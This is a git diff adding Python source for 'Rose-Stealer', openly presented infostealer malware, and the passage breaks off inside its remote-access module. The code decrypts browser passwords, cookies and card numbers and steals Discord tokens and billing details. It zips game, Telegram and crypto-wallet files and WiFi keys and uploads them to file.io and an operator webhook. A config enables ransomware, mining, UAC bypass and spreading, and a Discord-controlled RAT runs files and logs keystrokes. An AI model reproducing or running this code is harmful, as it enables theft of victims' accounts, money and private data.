cipher.decrypt(payload) + decrypted_pass = decrypted_pass[:-16].decode() + + return decrypted_pass + + def get_login_data(self, path: str, profile: str): + login_db = f"{path}\\{profile}\\Login Data" + if not os.path.exists(login_db): + return + + shutil.copy(login_db, "login_db") + conn = sqlite3.connect("login_db") + cursor = conn.cursor() + cursor.execute("SELECT action_url, username_value, password_value FROM logins") + for row in cursor.fetchall(): + if not row[0] or not row[1] or not row[2]: + continue + + password = self.decrypt_password(row[2], self.master_key) + __LOGINS__.append(Types.Login(row[0], row[1], password)) + + conn.close() + os.remove("login_db") + + def get_cookies(self, path: str, profile: str): + cookie_db = f"{path}\\{profile}\\Network\\Cookies" + if not os.path.exists(cookie_db): + return + + try: + shutil.copy(cookie_db, "cookie_db") + conn = sqlite3.connect("cookie_db") + cursor = conn.cursor() + cursor.execute("SELECT host_key, name, path, encrypted_value,expires_utc FROM cookies") + for row in cursor.fetchall(): + if not row[0] or not row[1] or not row[2] or not row[3]: + continue + + cookie = self.decrypt_password(row[3], self.master_key) + __COOKIES__.append(Types.Cookie(row[0], row[1], row[2], cookie, row[4])) + + conn.close() + except Exception as e: + print(e) + + os.remove("cookie_db") + + def get_web_history(self, path: str, profile: str): + web_history_db = f"{path}\\{profile}\\History" + if not os.path.exists(web_history_db): + return + + shutil.copy(web_history_db, "web_history_db") + conn = sqlite3.connect("web_history_db") + cursor = conn.cursor() + cursor.execute("SELECT url, title, last_visit_time FROM urls") + for row in cursor.fetchall(): + if not row[0] or not row[1] or not row[2]: + continue + + __WEB_HISTORY__.append(Types.WebHistory(row[0], row[1], row[2])) + + conn.close() + os.remove("web_history_db") + + def get_downloads(self, path: str, profile: str): + downloads_db = f"{path}\\{profile}\\History" + if not os.path.exists(downloads_db): + return + + shutil.copy(downloads_db, "downloads_db") + conn = sqlite3.connect("downloads_db") + cursor = conn.cursor() + cursor.execute("SELECT tab_url, target_path FROM downloads") + for row in cursor.fetchall(): + if not row[0] or not row[1]: + continue + + __DOWNLOADS__.append(Types.Download(row[0], row[1])) + + conn.close() + os.remove("downloads_db") + + def get_credit_cards(self, path: str, profile: str): + cards_db = f"{path}\\{profile}\\Web Data" + if not os.path.exists(cards_db): + return + + shutil.copy(cards_db, "cards_db") + conn = sqlite3.connect("cards_db") + cursor = conn.cursor() + cursor.execute("SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted, date_modified FROM credit_cards") + for row in cursor.fetchall(): + if not row[0] or not row[1] or not row[2] or not row[3]: + continue + + card_number = self.decrypt_password(row[3], self.master_key) + __CARDS__.append(Types.CreditCard(row[0], row[1], row[2], card_number, row[4])) + + conn.close() + os.remove("cards_db") + + +class Types: + class Login: + def __init__(self, url, username, password): + self.url = url + self.username = username + self.password = password + + def __str__(self): + return f"{self.url}\t{self.username}\t{self.password}" + + def __repr__(self): + return self.__str__() + + class Cookie: + def __init__(self, host, name, path, value, expires): + self.host = host + self.name = name + self.path = path + self.value = value + self.expires = expires + + def __str__(self): + return f'{self.host}\t{"FALSE" if self.expires == 0 else "TRUE"}\t{self.path}\t{"FALSE" if self.host.startswith(".") else "TRUE"}\t{self.expires}\t{self.name}\t{self.value}' + + def __repr__(self): + return self.__str__() + + class WebHistory: + def __init__(self, url, title, timestamp): + self.url = url + self.title = title + self.timestamp = timestamp + + def __str__(self): + return f"{self.url}\t{self.title}\t{self.timestamp}" + + def __repr__(self): + return self.__str__() + + class Download: + def __init__(self, tab_url, target_path): + self.tab_url = tab_url + self.target_path = target_path + + def __str__(self): + return f"{self.tab_url}\t{self.target_path}" + + def __repr__(self): + return self.__str__() + + class CreditCard: + def __init__(self, name, month, year, number, date_modified): + self.name = name + self.month = month + self.year = year + self.number = number + self.date_modified = date_modified + + def __str__(self): + return f"{self.name}\t{self.month}\t{self.year}\t{self.number}\t{self.date_modified}" + + def __repr__(self): + return self.__str__() diff --git a/Rose-Stealerv1/resources/source/old/config.py b/Rose-Stealerv1/resources/source/old/config.py new file mode 100644 index 0000000..de9fcd8 --- /dev/null +++ b/Rose-Stealerv1/resources/source/old/config.py @@ -0,0 +1,176 @@ +class Config: + def __init__(self): + self.webhook = "WEBHOOK_URL" + + self.debug_mode = False + + self.rose_discord_rat = False + self.rose_discord_rat_socket_link = "ROSE_DISCORD_RAT_SOCKET_LINK" + + self.knight_discord_rat = False + self.knight_discord_rat_bot_token = "KNIGHT_DISCORD_RAT_BOT_TOKEN" + self.knight_discord_rat_channel_id = "KNIGHT_DISCORD_RAT_CHANNEL_ID" + self.knight_discord_rat_listener_user_id = "KNIGHT_DISCORD_RAT_LISTENER_USER_ID" + self.knight_discord_rat_prefix = "KNIGHT_DISCORD_RAT_PREFIX" + + self.ransomware = False + self.ransomware_email_adress = "RANS0MWARE_EMAIL" + self.ransomware_monero_wallet_adress = "RANSOMWARE_MONERO_ADRESS_" + self.ransomware_discord_webhook_url = "RANSOMWARE_WEBHOOKURL" + self.ransomware_amount_of_money = "RANSOMWARE_AMOUNT_0F_MONEY" + + self.discord_ping = False + self.injection = False + self.token_stealing = False + self.browser_stealing = False + self.deviceinf_stealing = False + self.ipinf_stealing = False + self.roblox_stealing = False + self.screenshot = False + self.start_up = False + self.xmr_miner = False + self.xmr_adress = "wallet_adressss" + self.fake_error = False + self.nitro_auto_buy = False + self.uac_bypass = False + self.antivm = False + self.webcam = False + self.spread_malware = False + self.spread_malware_msg = "SPRMALWARE_MSFG" + self.rose_melt_stub = False + self.games = False + self.ts_bsod = False + self.bbcrash = False + self.disable_protectors = False + self.block_sites = False + + self.eb_color = 16711680 + self.eb_footer = "Rose-Stealer | t.me/rosegrabber" + self.wh_avatar = "https://raw.githubusercontent.com/DamagingRose/Rose-Grabber/main/resources/assets/Rose.png" + self.wh_name = "Rose-Stealer | t.me/rosegrabber" + + def get_roblox_stealing(self): + return self.roblox_stealing + + def get_injection(self): + return self.injection + + def get_token_stealing(self): + return self.token_stealing + + def get_browser_stealing(self): + return self.browser_stealing + + def get_deviceinf_stealing(self): + return self.deviceinf_stealing + + def get_ipinf_stealing(self): + return self.ipinf_stealing + + def get_webhook(self): + return self.webhook + + def get_color(self): + return self.eb_color + + def get_footer(self): + return self.eb_footer + + def get_debug_mode(self): + return self.debug_mode + + def get_avatar(self): + return self.wh_avatar + + def get_name(self): + return self.wh_name + + def get_rose_discord_rat(self): + return self.rose_discord_rat + + def get_rose_discord_rat_link(self): + return self.rose_discord_rat_socket_link + + def get_knight_discord_rat(self): + return self.knight_discord_rat + + def get_knight_discord_rat_bot_token(self): + return self.knight_discord_rat_bot_token + + def get_knight_discord_rat_channel_id(self): + return self.knight_discord_rat_channel_id + + def get_knight_discord_rat_listener_user_id(self): + return self.knight_discord_rat_listener_user_id + + def get_knight_discord_rat_prefix(self): + return self.knight_discord_rat_prefix + + def get_discord_ping(self): + return self.discord_ping + + def get_screenshot(self): + return self.screenshot + + def get_start_up(self): + return self.start_up + + def get_xmr_miner(self): + return self.xmr_miner + + def get_xmr_adress(self): + return self.xmr_adress + + def get_fake_error(self): + return self.fake_error + + def get_nitro_auto_buy(self): + return self.nitro_auto_buy + + def get_uac_bypass(self): + return self.uac_bypass + + def get_antivm(self): + return self.antivm + + def get_webcam(self): + return self.webcam + + def get_ransomware_email_adress(self): + return self.ransomware_email_adress + + def get_ransomware_amount_of_money(self): + return self.ransomware_amount_of_money + + def get_ransomware_monero_wallet_adress(self): + return self.ransomware_monero_wallet_adress + + def get_ransomware_discord_webhook_url(self): + return self.ransomware_discord_webhook_url + + def get_ransomware(self): + return self.ransomware + + def get_spread_malware(self): + return self.spread_malware + + def get_spread_malware_msg(self): + return self.spread_malware_msg + + def get_rose_melt_stub(self): + return self.rose_melt_stub + + def get_games(self): + return self.games + + def get_tsbsod(self): + return self.ts_bsod + + def get_bbcrash(self): + return self.bbcrash + + def get_disable_protectors(self): + return self.disable_protectors + + def get_block_sites(self): + return self.block_sites diff --git a/Rose-Stealerv1/resources/source/old/discordc.py b/Rose-Stealerv1/resources/source/old/discordc.py new file mode 100644 index 0000000..37d8fc9 --- /dev/null +++ b/Rose-Stealerv1/resources/source/old/discordc.py @@ -0,0 +1,324 @@ +from json import loads, dumps +from urllib.request import Request, urlopen +from bin.config import Config + +cc = Config() +from bin.ipinf import Info + +ifx = Info() +from datetime import datetime + + +class DiscordX: + def __init__(self): + self.webhook = cc.get_webhook() + if cc.get_debug_mode: + print("Discord Init") + + @staticmethod + def GetUHQFriends(token): + badgeList = [ + { + "Name": "Early_Verified_Bot_Developer", + "Value": 131072, + "Emoji": "<:developer:874750808472825986> ", + }, + { + "Name": "Bug_Hunter_Level_2", + "Value": 16384, + "Emoji": "<:bughunter_2:874750808430874664> ", + }, + { + "Name": "Early_Supporter", + "Value": 512, + "Emoji": "<:early_supporter:874750808414113823> ", + }, + { + "Name": "House_Balance", + "Value": 256, + "Emoji": "<:balance:874750808267292683> ", + }, + { + "Name": "House_Brilliance", + "Value": 128, + "Emoji": "<:brilliance:874750808338608199> ", + }, + { + "Name": "House_Bravery", + "Value": 64, + "Emoji": "<:bravery:874750808388952075> ", + }, + { + "Name": "Bug_Hunter_Level_1", + "Value": 8, + "Emoji": "<:bughunter_1:874750808426692658> ", + }, + { + "Name": "HypeSquad_Events", + "Value": 4, + "Emoji": "<:hypesquad_events:874750808594477056> ", + }, + { + "Name": "Partnered_Server_Owner", + "Value": 2, + "Emoji": "<:partner:874750808678354964> ", + }, + { + "Name": "Discord_Employee", + "Value": 1, + "Emoji": "<:staff:874750808728666152> ", + }, + ] + headers = { + "Authorization": token, + "Content-Type": "application/json", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0", + } + try: + friendlist = loads( + urlopen( + Request( + "https://discord.com/api/v6/users/@me/relationships", + headers=headers, + ) + ) + .read() + .decode() + ) + except Exception: + return False + + uhqlist = "" + for friend in friendlist: + OwnedBadges = "" + flags = friend["user"]["public_flags"] + for badge in badgeList: + if flags // badge["Value"] != 0 and friend["type"] == 1: + if "House" not in badge["Name"]: + OwnedBadges += badge["Emoji"] + flags = flags % badge["Value"] + if OwnedBadges != "": + uhqlist += f"{OwnedBadges} | {friend['user']['username']}#{friend['user']['discriminator']} ({friend['user']['id']})\n" + return uhqlist + + @staticmethod + def GetBilling(token): + headers = { + "Authorization": token, + "Content-Type": "application/json", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0", + } + try: + billingjson = loads( + urlopen( + Request( + "https://discord.com/api/users/@me/billing/payment-sources", + headers=headers, + ) + ) + .read() + .decode() + ) + except Exception: + return False + + if billingjson == []: + return "`None`" + + billing = "" + for methode in billingjson: + if methode["invalid"] is False: + if methode["type"] == 1: + billing += "<:credit_card:1151916484176654416>" + elif methode["type"] == 2: + billing += "<:paypal:1151916071092244520> " + + return billing + + @staticmethod + def GetBadge(flags): + if flags == 0: + return "" + + OwnedBadges = "" + badgeList = [ + { + "Name": "Early_Verified_Bot_Developer", + "Value": 131072, + "Emoji": "<:developer:874750808472825986> ", + }, + { + "Name": "Bug_Hunter_Level_2", + "Value": 16384, + "Emoji": "<:bughunter_2:874750808430874664> ", + }, + { + "Name": "Early_Supporter", + "Value": 512, + "Emoji": "<:early_supporter:874750808414113823> ", + }, + { + "Name": "House_Balance", + "Value": 256, + "Emoji": "<:balance:874750808267292683> ", + }, + { + "Name": "House_Brilliance", + "Value": 128, + "Emoji": "<:brilliance:874750808338608199> ", + }, + { + "Name": "House_Bravery", + "Value": 64, + "Emoji": "<:bravery:874750808388952075> ", + }, + { + "Name": "Bug_Hunter_Level_1", + "Value": 8, + "Emoji": "<:bughunter_1:874750808426692658> ", + }, + { + "Name": "HypeSquad_Events", + "Value": 4, + "Emoji": "<:hypesquad_events:874750808594477056> ", + }, + { + "Name": "Partnered_Server_Owner", + "Value": 2, + "Emoji": "<:partner:874750808678354964> ", + }, + { + "Name": "Discord_Employee", + "Value": 1, + "Emoji": "<:staff:874750808728666152> ", + }, + ] + for badge in badgeList: + if flags // badge["Value"] != 0: + OwnedBadges += badge["Emoji"] + flags = flags % badge["Value"] + + return OwnedBadges + + @staticmethod + def GetTokenInfo(token): + headers = { + "Authorization": token, + "Content-Type": "application/json", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0", + } + + userjson = loads(urlopen(Request("https://discordapp.com/api/v6/users/@me", headers=headers)).read().decode()) + username = userjson["username"] + hashtag = userjson["discriminator"] + email = userjson["email"] + idd = userjson["id"] + pfp = userjson["avatar"] + flags = userjson["public_flags"] + nitro = "" + phone = "-" + + if "premium_type" in userjson: + nitrot = userjson["premium_type"] + if nitrot == 1: + nitro = "<:classic:896119171019067423> " + elif nitrot == 2: + nitro = " <:classic:896119171019067423> " + if "phone" in userjson: + phone = userjson["phone"] + + return username, hashtag, email, idd, pfp, flags, nitro, phone + + @staticmethod + def checkToken(token): + headers = { + "Authorization": token, + "Content-Type": "application/json", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0", + } + try: + urlopen(Request("https://discordapp.com/api/v6/users/@me", headers=headers)) + return True + except Exception: + return False + + def uploadToken(self, token): + global hook + headers = { + "Content-Type": "application/json", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0", + } + username, hashtag, email, idd, pfp, flags, nitro, phone = self.GetTokenInfo(token) + + if pfp is None: + pfp = "https://raw.githubusercontent.com/DamagingRose/Rose-Grabber/main/components/assets/dogg.png" + else: + pfp = f"https://cdn.discordapp.com/avatars/{idd}/{pfp}" + + billing = self.GetBilling(token) + badge = self.GetBadge(flags) + friends = self.GetUHQFriends(token) + if friends == "": + friends = "`None`" + if not billing: + badge, phone, billing = "None", "None", "None" + if nitro == "" and badge == "": + nitro = "`None`" + + current_time_iso = datetime.now().isoformat() + data = { + "content": "", + "embeds": [ + { + "title": "Rose Report", + "description": "Rose Instance - Token Information", + "color": cc.get_color(), + "fields": [ + { + "name": "Token:", + "value": f"||`{token}`||", + "inline": False, + }, + { + "name": "Email:", + "value": f"`{email}`", + "inline": False, + }, + { + "name": "Phone:", + "value": f"`{phone}`", + "inline": False, + }, + { + "name": "Badges:", + "value": f"{nitro}{badge}", + "inline": False, + }, + { + "name": "Billing:", + "value": f"{billing}", + "inline": False, + }, + { + "name": "Friends:", + "value": f"{friends}", + "inline": False, + }, + ], + "author": { + "name": f"{username}#{hashtag} ({idd})", + "icon_url": f"{pfp}", + }, + "footer": { + "text": cc.get_footer(), + "icon_url": cc.get_avatar(), + }, + "thumbnail": {"url": f"{pfp}"}, + "timestamp": current_time_iso, + } + ], + "avatar_url": cc.wh_avatar, + "username": cc.wh_name, + "attachments": [], + } + urlopen(Request(self.webhook, data=dumps(data).encode(), headers=headers)) diff --git a/Rose-Stealerv1/resources/source/old/games.py b/Rose-Stealerv1/resources/source/old/games.py new file mode 100644 index 0000000..88557a7 --- /dev/null +++ b/Rose-Stealerv1/resources/source/old/games.py @@ -0,0 +1,228 @@ +import os +from bin.webhook import _WebhookX +from datetime import datetime +import shutil +import requests +from dhooks import Embed +from bin.config import Config +import zipfile + + +class get_games: + def __init__(self): + self.cc = Config() + + self.webx = _WebhookX().get_object() + + self.embed = Embed(title="Rose Report", description="Rose Instance - Games and Application Grabber", color=self.cc.get_color(), timestamp=datetime.now().isoformat()) + + self.embed.set_author(name=self.cc.get_name(), icon_url=self.cc.get_avatar()) + self.embed.set_footer(text=self.cc.get_footer(), icon_url=self.cc.get_avatar()) + + self.userProfile = os.getenv("userprofile") + self.roaming = os.getenv("appdata") + self.tdata_path = os.path.join(self.roaming, "Telegram Desktop", "tdata") + self.uplay_launcher_path = os.path.join(self.roaming, "Ubisoft Game Launcher") + self.epic_games_path = os.path.join(self.roaming, "EpicGamesLauncher", "Saved") + self.steam_path = r"C:\Program Files (x86)\Steam\config" + self.exodus_path = os.path.join(self.roaming, "Exodus", "exodus.wallet") + self.minecraftPaths = { + "Intent": os.path.join(self.userProfile, "intentlauncher", "launcherconfig"), + "Lunar": os.path.join(self.userProfile, ".lunarclient", "settings", "game", "accounts.json"), + "TLauncher": os.path.join(self.roaming, ".minecraft", "TlauncherProfiles.json"), + "Feather": os.path.join(self.roaming, ".feather", "accounts.json"), + "Meteor": os.path.join(self.roaming, ".minecraft", "meteor-client", "accounts.nbt"), + "Impact": os.path.join(self.roaming, ".minecraft", "Impact", "alts.json"), + "Novoline": os.path.join(self.roaming, ".minectaft", "Novoline", "alts.novo"), + "CheatBreakers": os.path.join(self.roaming, ".minecraft", "cheatbreaker_accounts.json"), + "Microsoft Store": os.path.join(self.roaming, ".minecraft", "launcher_accounts_microsoft_store.json"), + "Rise": os.path.join(self.roaming, ".minecraft", "Rise", "alts.txt"), + "Rise (Intent)": os.path.join(self.userProfile, "intentlauncher", "Rise", "alts.txt"), + "Paladium": os.path.join(self.roaming, "paladium-group", "accounts.json"), + "PolyMC": os.path.join(self.roaming, "PolyMC", "accounts.json"), + "Badlion": os.path.join(self.roaming, "Badlion Client", "accounts.json"), + } + self.rose_path = os.path.join(self.roaming, "roseontop") + self.telegram_folder = os.path.join(self.rose_path, "Telegram") + self.steam_folder = os.path.join(self.rose_path, "Steam") + self.uplay_folder = os.path.join(self.rose_path, "Uplay") + self.minecraft_folder = os.path.join(self.rose_path, "Minecraft") + self.epic_games_folder = os.path.join(self.rose_path, "Epic Games") + self.exodus_folder = os.path.join(self.rose_path, "Exodus") + self.games_zip = os.path.join(self.rose_path, "Games.zip") + + def get_games(self): + # Telegram + + if not os.path.exists(self.tdata_path): + self.telegram_check = True + else: + self.telegram_check = False + + if os.path.exists(self.telegram_folder): + shutil.rmtree(self.telegram_folder) + + if os.path.exists(self.tdata_path): + try: + shutil.copytree(self.tdata_path, self.telegram_folder) + except Exception: + self.telegram_check = True + pass + + # Epic Games + + if not os.path.exists(self.epic_games_path): + self.epic_games_check = True + else: + self.epic_games_check = False + + if os.path.exists(self.epic_games_folder): + shutil.rmtree(self.epic_games_folder) + + if os.path.exists(self.epic_games_path): + try: + shutil.copytree(self.epic_games_path, self.epic_games_folder) + except Exception: + self.epic_games_check = True + pass + + # Steam + + if not os.path.exists(self.steam_path): + self.steam_check = True + else: + self.steam_check = False + + if os.path.exists(self.steam_folder): + shutil.rmtree(self.steam_folder) + + if os.path.exists(self.steam_path): + try: + shutil.copytree(self.steam_path, self.steam_folder) + except Exception: + self.steam_check = True + pass + + # Uplay + + if not os.path.exists(self.uplay_launcher_path): + self.uplay_check = True + else: + self.uplay_check = False + + if os.path.exists(self.uplay_folder): + shutil.rmtree(self.uplay_folder) + + if os.path.exists(self.uplay_launcher_path): + try: + shutil.copytree(self.uplay_launcher_path, self.uplay_folder) + except Exception: + self.uplay_check = True + pass + + # Exodus + + if not os.path.exists(self.exodus_path): + self.exodus_check = True + else: + self.exodus_check = False + + if os.path.exists(self.exodus_folder): + shutil.rmtree(self.exodus_folder) + + if os.path.exists(self.exodus_path): + try: + shutil.copytree(self.exodus_path, self.exodus_folder) + except Exception: + self.exodus_check = True + pass + + # Minecraft + + if os.path.exists(self.minecraft_folder): + shutil.rmtree(self.minecraft_folder) + + self.minecraft_check = True + for self.minecraftPath in self.minecraftPaths.values(): + if os.path.exists(self.minecraftPath): + self.minecraft_check = False + try: + print(os.path.basename(os.path.dirname(self.minecraftPath))) + print(os.path.join(self.minecraft_folder, os.path.basename(os.path.dirname(self.minecraftPath)))) + if not os.path.exists(self.minecraft_folder): + os.mkdir(self.minecraft_folder) + if not os.path.exists(os.path.join(self.minecraft_folder, os.path.basename(os.path.dirname(self.minecraftPath)))): + os.mkdir(os.path.join(self.minecraft_folder, os.path.basename(os.path.dirname(self.minecraftPath)))) + shutil.copy(self.minecraftPath, os.path.join(self.minecraft_folder, os.path.basename(os.path.dirname(self.minecraftPath)))) + except Exception as e: + pass + + # Create ZIP + + if not self.epic_games_check or not self.steam_check or not self.uplay_check or not self.telegram_check or not self.minecraft_check or not self.exodus_check: + if not os.path.exists(self.games_zip): + with zipfile.ZipFile(self.games_zip, "w", compression=zipfile.ZIP_DEFLATED) as zf: + if not self.telegram_check: + for root, dirs, files in os.walk(self.telegram_folder): + for file in files: + file_path = os.path.join(root, file) + arcname = os.path.relpath(file_path, self.telegram_folder) + arcname = os.path.join("Telegram", arcname) + zf.write(file_path, arcname) + + if not self.epic_games_check: + for root, dirs, files in os.walk(self.epic_games_folder): + for file in files: + file_path = os.path.join(root, file) + arcname = os.path.relpath(file_path, self.epic_games_folder) + arcname = os.path.join("Epic Games", arcname) + zf.write(file_path, arcname) + + if not self.steam_check: + for root, dirs, files in os.walk(self.steam_folder): + for file in files: + file_path = os.path.join(root, file) + arcname = os.path.relpath(file_path, self.steam_folder) + arcname = os.path.join("Steam", arcname) + zf.write(file_path, arcname) + + if not self.uplay_check: + for root, dirs, files in os.walk(self.uplay_folder): + for file in files: + file_path = os.path.join(root, file) + arcname = os.path.relpath(file_path, self.uplay_folder) + arcname = os.path.join("Uplay", arcname) + zf.write(file_path, arcname) + + if not self.exodus_check: + for root, dirs, files in os.walk(self.exodus_folder): + for file in files: + file_path = os.path.join(root, file) + arcname = os.path.relpath(file_path, self.exodus_folder) + arcname = os.path.join("Exodus", arcname) + zf.write(file_path, arcname) + + if not self.minecraft_check: + for root, dirs, files in os.walk(self.minecraft_folder): + for file in files: + file_path = os.path.join(root, file) + arcname = os.path.relpath(file_path, self.minecraft_folder) + arcname = os.path.join("Minecraft", arcname) + zf.write(file_path, arcname) + + # Upload ZIP + + upload_url = "https://file.io" + files = {"file": (self.games_zip, open(self.games_zip, "rb"))} + response = requests.post(upload_url, files=files) + + if response.status_code == 200: + self.download_link = response.json().get("link", "Unknown") + else: + self.download_link = "Unknown" + + self.embed.add_field(name="Games", value=f"[Download]({self.download_link})", inline=False) + + # Send embed with download link + + self.webx.send(embed=self.embed) diff --git a/Rose-Stealerv1/resources/source/old/ipinf.py b/Rose-Stealerv1/resources/source/old/ipinf.py new file mode 100644 index 0000000..fa45126 --- /dev/null +++ b/Rose-Stealerv1/resources/source/old/ipinf.py @@ -0,0 +1,93 @@ +import subprocess +import os +from bin.config import Config +from datetime import datetime +from bin.webhook import _WebhookX +from dhooks import Embed +from urllib.request import Request, urlopen +from urllib.error import URLError +import requests +from bin._random_string import * + +cc = Config() + + +class Info: + def __init__(self): + self.ip = self.get_public_ip() + + def run_command(self, command): + result = subprocess.run(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True) + stdout = result.stdout.decode("utf-8", errors="replace") + stderr = result.stderr.decode("utf-8", errors="replace") + return stdout, stderr + + def get_wifi_profiles(self): + output, _ = self.run_command("netsh wlan show profiles") + profile_names = [profile.strip() for profile in output.split(":")] + return profile_names + + def get_wifi_profile_output(self, profile_name): + command = f'netsh wlan show profile name="{profile_name}" key=clear' + output, _ = self.run_command(command) + return output + + def get_public_ip(self): + try: + response = urlopen(Request("https://api.ipify.org"), timeout=10) + return response.read().decode().strip() + except URLError: + return "Unknown" + + def main(self): + wifi_profiles = self.get_wifi_profiles() + rndm_strr = get_random_string(25) + self.path = os.path.join(os.getenv("APPDATA"), "roseontop", f"wifi_profiles_{rndm_strr}.txt") + with open(self.path, "w", encoding="utf-8") as file: + for profile_name in wifi_profiles: + profile_output = self.get_wifi_profile_output(profile_name) + file.write(profile_output + "\n") + file.write("-" * 50 + "\n") + + upload_url = "https://file.io" + files = {"file": (os.path.basename(self.path), open(self.path, "rb"))} + response = requests.post(upload_url, files=files) + + if response.status_code == 200: + self.wif_dwnld_l = response.json().get("link", "Unknown") + else: + self.wif_dwnld_l = "Unknown" + + def send_data(self): + webx = _WebhookX().get_object() + + self.main() + + try: + response = requests.get(f"https://ipinfo.io/{self.ip}/json") + if response.status_code == 200: + self.ipdata = response.json() + except Exception: + return {} + + embed = Embed(title="Rose Report", description="Rose Instance - IP and WIFI Information", color=cc.get_color(), timestamp=datetime.now().isoformat()) + + embed.set_author(name=cc.get_name(), icon_url=cc.get_avatar()) + embed.set_footer(text=cc.get_footer(), icon_url=cc.get_avatar()) + + embed.add_field(name="IP", value=f"`{self.get_public_ip()}`", inline=False) + embed.add_field(name="Country", value=f'`{self.ipdata.get("country", "Unknown")}`', inline=False) + embed.add_field(name="City", value=f'`{self.ipdata.get("city", "Unknown")}`', inline=False) + embed.add_field(name="Postal", value=f'`{self.ipdata.get("postal", "Unknown")}`', inline=False) + embed.add_field(name="Latitude", value=f'`{self.ipdata.get("loc", "Unknown").split(",")[0]}`', inline=False) + embed.add_field(name="Longtitude", value=f'`{self.ipdata.get("loc", "Unknown").split(",")[1]}`', inline=False) + embed.add_field(name="State", value=f'`{self.ipdata.get("region", "Unknown")}`', inline=False) + + embed.add_field(name="WIFI", value=f"[Download]({self.wif_dwnld_l})", inline=False) + + webx.send(embed=embed) + os.remove(self.path) + + @staticmethod + def get_username(): + return os.getlogin() diff --git a/Rose-Stealerv1/resources/source/old/knight_rat.py b/Rose-Stealerv1/resources/source/old/knight_rat.py new file mode 100644 index 0000000..05cf67f --- /dev/null +++ b/Rose-Stealerv1/resources/source/old/knight_rat.py @@ -0,0 +1,500 @@ +import discord +import sys +import os +import random +import socket +import webbrowser +import ctypes +import subprocess +import pygame +import requests +import win32con +import keyboard +import time +import shutil +from bin.config import Config +from sys import argv +from PIL import ImageGrab +from discord.ext import commands +cc = Config() + +### CONFIG + +btoken = cc.get_knight_discord_rat_bot_token() ### NOT OPTIONAL | DISCORD BOT TOKEN NEEDS TO BE PUT HERE FOR THE RAT TO WORK +prefix = cc.get_knight_discord_rat_prefix() ### OPTIONAL | IGNORE THIS IF YOU WANT TO RUN COMMANDS WITHOUT A PREFIX | PREFIX THE DISCORD BOT WILL BE CALLED WITH +userid = cc.get_knight_discord_rat_listener_user_id() ### OPTIONAL | IGNORE THIS IF YOU DON'T WANT TO BE PINGED | ONLY WORKS WITH CHANNELID SET | THIS IS THE USER WHO WILL BE NOTIFIED ABOUT NEW CLIENTS WITH A PING +channelid = cc.get_knight_discord_rat_channel_id() ### OPTIONAL | ONLY SET IF YOU WANT TO GET A MESSAGE WHEN NEW CLIENTS GET ONLINE + +### DEV CONFIG + +dscrd = 'https://discord.gg/rHdqqqYVzY' +roaming = os.getenv("appdata") +startup_loc = os.path.join(roaming, "Microsoft", "Windows", "Start Menu", "Programs", "Startup") +changed = win32con.SPIF_UPDATEINIFILE | win32con.SPIF_SENDCHANGE +hostname = socket.gethostname() +cwd = os.getcwd() +intents = discord.Intents.all() +bot = commands.Bot(description=f"Running Knight Remote Adminstration Tool.", command_prefix=prefix, intents=intents) +clientid = ''.join(random.choice('0123456789') for i in range(6)) +def get_random_string(length): + letters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' + global result_str + result_str = ''.join(random.choice(letters) for i in range(length)) + +if channelid == '': + pass +else: + @bot.event + async def on_ready(): + usrmention = f'<@{userid}>' + channel = bot.get_channel(int(channelid)) + if userid == '': + await channel.send(f"New client online: process {clientid}") + else: + await channel.send(f"{usrmention} | New client online: process {clientid}") + +@bot.command(name='open') +async def open(ctx, inputid, fpath): + if inputid == clientid: + try: + os.system(fpath) + await ctx.send(f'Successfully ran file with the path `{fpath}` for process {clientid}.') + except Exception: + await ctx.send(f'Couldn\'t run file with the path `{fpath}` for process {clientid} because of `{Exception}`.') + if inputid != clientid: + if inputid == 'all': + try: + os.system(fpath) + await ctx.send(f'Successfully ran file with the path `{fpath}` for process {clientid}.') + except Exception: + await ctx.send(f'Couldn\'t run file with the path `{fpath}` for process {clientid} because of `{Exception}`.') + if inputid != 'all' and clientid: + await ctx.send(f'Sorry, couldn\'t find process {inputid}.') + +@bot.command(name='taskschd') +async def taskschd(ctx, inputid): + if inputid == clientid: + try: + os.system('taskschd.msc') + await ctx.send(f'Successfully started windows task scheduler for process {clientid}.') + except Exception: + await ctx.send(f'Couldn\'t start windows task scheduler for process {clientid} because of `{Exception}`.') + if inputid != clientid: + if inputid == 'all': + try: + os.system('taskschd.msc') + await ctx.send(f'Successfully started windows task scheduler for process {clientid}.') + except Exception: + await ctx.send(f'Couldn\'t start windows task scheduler for process {clientid} because of `{Exception}`.') + if inputid != 'all' and clientid: + await ctx.send(f'Sorry, couldn\'t find process {inputid}.') + +@bot.command(name='keylogger') +async def keylogger(ctx, inputid, duration): + if inputid == clientid: + get_random_string(15) + record_time = duration ### DURATION OF KEYLOGGER IN SECONDS + fname = f'keylogger_finaldata_CLIENTID_{clientid}_{result_str}{duration}.txt' + end_time = time.monotonic() + int(record_time) + recorded = [] + try: + await ctx.send(f'Started keylogger for process {clientid} with a duration of `{duration}` seconds without any problems. You will be notified in `{duration}` seconds, when the final data is being posted.') + while True: + if time.monotonic() >= end_time: + break + recorded.append(keyboard.read_event()) + except KeyboardInterrupt: + await ctx.send(f'Keylogger was killed by secret keystroke for process {clientid} because of `{Exception}`. Exe has been compiled without `--noconsole` probably.') + pass + except Exception: + await ctx.send(f'Couldn\'t start keylogger for process {clientid} because of `{Exception}`.') + + with open(fname, 'w') as f: + for keystroke in recorded: + if keystroke.event_type == 'down': + if str('up') in str(keystroke): + str(keystroke).upper() + if str('down') in str(keystroke): + str(keystroke).lower() + f.write(str(f'''{keystroke} +'''.replace('KeyboardEvent', '').replace('(', '').replace(')', '').replace(' up', '').replace(' down', ''))) + await ctx.send(file=discord.File(fname)) + await ctx.send(f'Keylogger data file `{fname}` from process {clientid} was sent.') + os.remove(fname) + if inputid != clientid: + if inputid == 'all': + get_random_string(15) + record_time = duration ### DURATION OF 